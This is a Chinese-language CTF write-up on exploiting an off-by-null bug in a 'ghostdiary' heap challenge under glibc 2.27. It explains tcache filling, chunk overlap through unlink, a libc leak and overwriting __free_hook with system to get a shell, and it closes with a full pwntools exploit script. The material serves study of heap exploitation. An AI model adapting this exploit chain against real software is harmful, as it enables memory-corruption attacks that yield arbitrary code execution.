知識點(diǎn)
- off by null 類型漏洞的利用思路
- 漏洞利用過程中遇到的問題及原理分析
環(huán)境
- libc2.27
off by null 漏洞利用思路 (參考pu1p的github)
---
0x120 A
---
0x80 B
---
0x120 C
malloc A B C
FREE A
edit B1 -> OFF BY NULL
FREE C -> unlink A
malloc A1
malloc B1 -> overlap chunk with B
free B1 -> B1 into fastbin
edit B -> modify B1's bk
malloc B2
malloc B3 -> fake chunk on free_hook
edit B3 -> modify free_hook to system
遇到的問題及原理分析
以本題為例,經(jīng)典菜單題,可以對diary進(jìn)行增加、編輯、刪除操作,在edit函數(shù)中存在off-by-null。
漏洞利用的入口點(diǎn)是通過溢出的一個(gè)\x00字節(jié)覆蓋下一個(gè)堆塊的PREV_INUSE位為0。
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |A|M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User data starts here... .
. .
. (malloc_usable_size() bytes) .
next . |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| (size of chunk, but used for application data) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
修改完成后,如果free下一個(gè)堆塊,int_free會(huì)檢查與當(dāng)前塊相鄰的堆塊的P位,如果為0,則將這個(gè)塊從所屬的bin中unlink出來,和當(dāng)前需要free的堆塊合并后再放入unsortedbin中。
本題的exp中,我們這樣泄露地址:
code sheet 1
#off-by-null
add(2,0x110)#0
add(1,0x78)#1
add(2,0x110)#2
首先申請三個(gè)堆塊,其中#0,#2大小相同,#1大小必須是8的整數(shù)倍且不是16的整數(shù)倍,這樣申請堆塊的原因是通過#1 修改#2的P位,同時(shí)利用堆塊間對pre_size的復(fù)用來修改#2的pre_size為#0,#1兩個(gè)堆塊的大小之和,這樣free(#2)的時(shí)候malloc函數(shù)就會(huì)將#0,#1兩個(gè)堆塊視為已經(jīng)被free的堆塊,從而執(zhí)行unlink,將#0,#1,#2這三個(gè)連續(xù)堆塊合成一個(gè)堆塊放入unsortedbin中。這樣一來,我們既可以通過edit(#1)來操作#1,也可以通過malloc新的chunk的方式從unsortedbin中獲取到#1地址,即構(gòu)造了對堆塊#1的overlap。
由于本題遠(yuǎn)程libc版本是2.27,我們需要先將tcache填滿,這樣才能將#0 free到unsortedbin中
code sheet 2
for i in range(3,10):
add(2,0x110)
for i in range(10,17): # tricky code:will be useful afterwards
add(1,0xf0)
for i in range(3,10):#fill tcache
delete(i)
delete(0) #put #0 into unsorted bin
for i in range(10,17):#fill tcache # tricky code:will be useful afterwards
delete(i)
#0 放入unsoredbin中是為了繞過free_int對fd和bk的檢測:

我們將#0放入unsortedbin中,由于unsortedbin本身就是一個(gè)合法的bin,因此能夠順利被unlink。
接下來就是通過edit(#1)修改#2的P位,同時(shí)利用堆塊間對pre_size的復(fù)用來修改#2的pre_size為#0,#1兩個(gè)堆塊的大小之和,但是這里有個(gè)坑,如果直接這么寫,是會(huì)報(bào)錯(cuò)的:
code sheet 3
edit(1,"a"*0x70 + p64(0x120 + 0x80))# use off-by-null to modify 'P' bit in next chunk into zero
delete(2) #unlink error:(double free corrption)
這是因?yàn)樵诟采w#2的P位時(shí),因?yàn)楦采w了整整一個(gè)字節(jié),會(huì)改變#2的size字段,在這里#2的size由原來的0x120被修改為0x100,而在free的時(shí)候會(huì)檢查下一個(gè)相鄰chunk的pre_inuse是否為1:

從上圖可以看到,確定前后chunk位置的方法就是利用當(dāng)前chunk的pre_size字段和size字段,因此在#2的“nextchunk”由于之前的修改,就落在了#2的內(nèi)部,因此需要填充#2的內(nèi)容為0x(var)1來繞過這個(gè)檢查。
code sheet 4
edit(1,"a"*0x70 + p64(0x120 + 0x80))# use off-by-null to modify 'P' bit in next chunk into zero
edit(2,p64(0x21)*32)# bypass double free check
delete(2) #unlink (double free corrption?)
而var的取值是有限制的,在64位系統(tǒng)中,min(var) = 2(因?yàn)?x20是最小堆塊大?。┒鴙ar的上限需要根據(jù)具體情況分析,比如在本exp的上下文中,往#2中填充0x31是不可行的,將會(huì)觸發(fā)unlink中的corrupted size vs. prev_size錯(cuò)誤,分析如下:
之前說過,在free的時(shí)候,會(huì)檢查當(dāng)前堆塊的前后chunk是否INUSE:

而下個(gè)相鄰chunk是否INUSE,則是由下相鄰個(gè)chunk的下個(gè)相鄰chunk的pre_inuse位決定的:

因此,如果在本exp中填充0x31,則#2的下個(gè)chunk的下個(gè)chunk的地址將會(huì)是address(#2) + 0x100 + 0x30 =address(#2) + 0x130 >address(#2) + 0x120也就是超出了#2的可寫范圍;而填充0x21則恰好讓nextchunk(nextchunk(#2))的地址為address(#2) + 0x120,和#2的真正的下個(gè)chunk正好重合,因此也繞過了double free的檢查。
調(diào)試過程中還發(fā)現(xiàn)一個(gè)小坑,就是如果free(#2)的時(shí)候?qū)?yīng)大小tcache沒滿,則會(huì)直接將#2放入對應(yīng)tcache中,不會(huì)觸發(fā)unlink。因此需要code sheet 2中那段tricky code來繞過這個(gè)限制??梢钥闯鲈谟衪cache的libc版本中,tcache操作的優(yōu)先級高于一般的堆塊操作。
上述工作成功將#0,#1,#2這三個(gè)連續(xù)堆塊合成一個(gè)堆塊放入unsortedbin中,此時(shí)我們再申請和#0大小相同的chunk,就會(huì)從unsortedbin中切割出一塊,而這個(gè)塊就可以泄露出libc:
code sheet 5
for i in range(2,9): # clear tcache
add(2,0x110)
add(2,0x110) #8 split unsorted bin
libc_addr =u64(show(8).strip("\n").ljust(8,"\x00"))
print "[+]Leak libc addr: "+hex(libc_addr)
libc_base = libc_addr - 0x3ebf30
print "[+]libc base :",hex(libc_base)
libc = ELF("./libc.so.6")
system = libc.symbols["system"]
fh = libc.symbols["__free_hook"]
system_addr = libc_base + system
fh_addr = libc_base + fh
print "[+]System addr:",hex(system_addr)
tcache (fastbin like) attack:
code sheet 6
add(1,0x60)#9 size < size(#1) + size(#2)
delete(9) # put #9 into fastbin
edit(1,p64(fh_addr) * 2)# use chunk overlap to edit #9's bk into free_hook
add(1,0x60)#9 get #9
add(1,0x60) #10 get fake chunk in free_hook address
edit(10,p64(system_addr))# modify free_hook into system
add(1,0x30)#11
edit(11,"/bin/sh\x00")
delete(11)# use free_hook to get shell
io.interactive()
完整exp
from pwn import *
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
io = process("./ghostdiary")
def add(choice,size):
io.recvuntil(">")
io.sendline("1")
io.recvuntil("both sides?")
io.sendline(str(choice))
io.recvuntil("size:")
io.sendline(str(size))
def edit(page,content):
io.recvuntil(">")
io.sendline("2")
io.recvuntil("Page:")
io.sendline(str(page))
io.recvuntil("Content: ")
io.sendline(content)
def show(page):
io.recvuntil(">")
io.sendline("3")
io.recvuntil("Page:")
io.sendline(str(page))
io.recvuntil("Content: ")
return io.recv(6)
def delete(page):
io.recvuntil(">")
io.sendline("4")
io.recvuntil("Page: ")
io.sendline(str(page))
#off-by-null
add(2,0x110)#0
add(1,0x78)#1
add(2,0x110)#2
#edit(1,"a"*0x70 + p64(0x120 + 0x80))
for i in range(3,10):
add(2,0x110)
for i in range(10,17):
add(1,0xf0)
for i in range(3,10):#fill tcache
delete(i)
delete(0) #put #0 into unsorted bin
for i in range(10,17):#fill tcache
delete(i)
edit(1,"a"*0x70 + p64(0x120 + 0x80))
edit(2,p64(0x21)*32)
#gdb.attach(io,"dir /usr/src/glibc/glibc-2.27/malloc\nb free")
delete(2) #unlink (double free corrption?) *solved
for i in range(2,9):
add(2,0x110)
add(2,0x110) #8
libc_addr =u64(show(8).strip("\n").ljust(8,"\x00"))
print "[+]Leak libc addr: "+hex(libc_addr)
libc_base = libc_addr - 0x3ebf30
print "[+]libc base :",hex(libc_base)
libc = ELF("./libc.so.6")
system = libc.symbols["system"]
fh = libc.symbols["__free_hook"]
system_addr = libc_base + system
fh_addr = libc_base + fh
print "[+]System addr:",hex(system_addr)
add(1,0x60)#9
delete(9)
edit(1,p64(fh_addr) * 2)
add(1,0x60)#9
add(1,0x60) #10
edit(10,p64(system_addr))
add(1,0x30)#11
edit(11,"/bin/sh\x00")
delete(11)
io.interactive()